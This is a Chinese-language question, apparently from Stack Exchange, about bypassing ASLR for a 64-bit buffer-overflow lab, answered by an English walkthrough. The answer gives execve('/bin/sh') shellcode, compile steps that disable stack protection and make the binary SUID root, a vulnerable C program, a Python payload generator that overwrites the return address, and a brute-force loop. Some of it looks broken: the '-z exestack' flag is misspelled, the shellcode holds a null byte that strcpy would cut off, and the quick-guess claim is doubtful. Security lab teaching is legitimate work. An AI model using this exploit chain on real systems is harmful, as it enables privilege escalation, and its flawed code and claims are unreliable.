如何绕过64位编译C程序的ASLR机制?(课程作业要求10分钟内完成,无需获取root shell,仅需验证地址猜测正确)
Alright, let's break down how to bypass ASLR for a 64-bit compiled program—since you already have the 32-bit workflow nailed down, we’ll adjust things specifically for 64-bit systems while keeping your 10-minute validation goal in mind. The core task here is to guess a valid return address (no root shell needed; we just need to confirm the program doesn’t return normally, proving our address guess landed correctly).
1. 64-bit Shellcode (Syscall-Based)
64-bit Linux uses syscall instead of int 0x80 for system calls, and follows a different register calling convention. Here’s a minimal execve-based shellcode (we’ll use this to confirm successful redirection):
const char code[] = "\x48\x31\xc0" // xor rax, rax (zero out rax) "\x50" // push rax (null terminator) "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" // mov rbx, '/bin/sh\x00' "\x53" // push rbx "\x48\x89\xe7" // mov rdi, rsp (rdi = pointer to '/bin/sh') "\x50" // push rax (null argument) "\x57" // push rdi (argv array) "\x48\x89\xe6" // mov rsi, rsp (rsi = argv) "\x48\x31\xd2" // xor rdx, rdx (rdx = envp = null) "\xb0\x3b" // mov al, 0x3b (execve syscall number) "\x0f\x05"; // syscall
2. Environment Setup & 64-bit Compilation
Ensure ASLR is enabled, then compile the vulnerable program with 64-bit flags (default on most modern systems, but we’ll make explicit):
# Confirm ASLR is set to maximum randomization sudo sysctl -w kernel.randomize_va_space=2 # Compile 64-bit binary with executable stack and no stack protector gcc -o stack64 -z exestack -fno-stack-protector stack.c # Optional: Set SUID (matches your 32-bit setup, though not required for validation) sudo chown root stack64 sudo chmod 4755 stack64
3. Vulnerable Program (stack.c)
Your existing 32-bit vulnerable code works unchanged for 64-bit—the buffer overflow logic is identical; only the stack layout differs:
/* stack.c : vulnerable program */ #include <stdio.h> #include <stdlib.h> #include <string.h> void foo(char *str) { char buffer[100]; /* Buffer overflow vulnerability */ strcpy(buffer, str); return; } int main(int argc, char **argv) { char str[400]; FILE *badfile; badfile = fopen("badfile", "r"); if (badfile == NULL) { perror("fopen"); exit(1); } fread(str, sizeof(char), 300, badfile); fclose(badfile); foo(str); printf("Returned Properly\n"); return 0; }
4. Malicious File Generation (64-bit Adjustments)
64-bit uses 8-byte addresses, so we’ll tweak the Python script to handle 8-byte return addresses and a longer NOP sled (to increase the chance of hitting our guess):
# Define the 64-bit shellcode shellcode = b"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05" # Create a 300-byte buffer filled with NOPs (0x90) content = bytearray(0x90 for _ in range(300)) # Place shellcode at the end of the buffer start_idx = 300 - len(shellcode) content[start_idx:] = shellcode # Calculate return address offset: # In foo(), buffer[100] + 8-byte RBP = 108 bytes to the return address # Adjust the base address based on gdb observations (see tip below) ret_addr = 0x7ffeabcdef12 + 50 # Tweak this to your observed stack range # Write 8-byte return address in little-endian content[108:108+8] = ret_addr.to_bytes(8, byteorder='little') # Save to badfile with open('badfile', 'wb') as f: f.write(content)
5. Loop Execution Script (64-bit)
Use this script to repeatedly test your address guess—success is when the program doesn’t print "Returned Properly":
#!/bin/bash SECONDS=0 attempts=0 while true do attempts=$((attempts + 1)) duration=$SECONDS mins=$((duration / 60)) secs=$((duration % 60)) echo "Elapsed: $mins mins $secs secs | Total Attempts: $attempts" ./stack64 done
Pro Tips for Beating the 10-Minute Clock
- Narrow the Address Range: Run the program in gdb a few times and run
p $rspto check stack addresses. 64-bit ASLR randomizes a subset of the stack address—you’ll likely see a fixed prefix like0x7ffeXXXX, so focus your guesses within that range. - Lengthen the NOP Sled: Increase the NOP sled to 250 bytes (reduce shellcode space if needed). A longer sled means your address guess only needs to land somewhere in the sled, not exactly on the shellcode.
- Quick Validation: You don’t need a shell to succeed. If the program fails to print "Returned Properly", your address guess was correct—you’ve bypassed ASLR.
内容的提问来源于stack exchange,提问作者강신호

